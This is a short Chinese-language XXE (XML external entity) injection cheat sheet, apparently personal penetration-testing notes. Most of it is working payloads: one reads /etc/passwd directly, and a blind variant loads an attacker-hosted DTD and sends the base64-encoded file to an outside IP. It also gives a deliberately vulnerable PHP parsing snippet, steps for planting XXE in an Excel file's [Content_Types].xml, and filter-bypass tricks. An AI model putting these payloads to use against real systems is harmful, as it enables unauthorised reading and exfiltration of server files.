XXE XML外部实体注入
1.漏洞点
解析 XML 的地方
Content-Type 包含 application/json,尝试将 json 换为 xml,然后提交 XML语句
<?php
$xml = simplexml_load_string($_POST[1], NULL, LIBXML_NOENT); // LIBXML_NOENT 允许引入 XML外部实体
print_r($xml);
2.利用方式
有回显
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>
&xxe;
</name>
</user>
无回显
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY % xxe SYSTEM "http://IP/xxe.dtd">
%xxe;%remote;%send;
]>
xxe.dtd(%是%的ASCII)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote "<!ENTITY % send SYSTEM 'http://IP/%file;'>">
Microsoft Office
解析其中的 XML 时触发
Excel例:
shell.xlsx,改为shell.zip,解压
在 [Content_Types].xml 第二行注入 XML 语句,压缩,改为shell.xlsx
SRC实战:SRC漏洞挖掘经验分享:文件解析造成的XXE - LeiyNeKo - 博客园 (cnblogs.com)
3.绕过
去掉第一行 XML声明
对内容有限制,payload.encode('utf-16');